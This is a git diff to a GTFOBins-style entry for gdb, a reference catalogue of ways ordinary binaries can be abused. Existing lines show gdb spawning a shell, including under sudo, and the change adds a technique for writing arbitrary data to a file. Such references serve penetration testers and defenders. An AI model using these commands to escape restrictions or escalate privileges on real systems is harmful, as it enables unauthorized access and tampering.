diff --git a/_gtfobins/gdb.md b/_gtfobins/gdb.md
index 186c64e..bc08029 100644
--- a/_gtfobins/gdb.md
+++ b/_gtfobins/gdb.md
@@ -4,4 +4,8 @@ functions:
     - code: gdb -nx -ex '!sh' -ex quit
   sudo-enabled:
     - code: sudo gdb -nx -ex '!sh' -ex quit
+  file-write:
+    - code: |
+        LFILE=file_to_write
+        gdb -nx -ex "dump value $LFILE \"data\"" -ex quit
 ---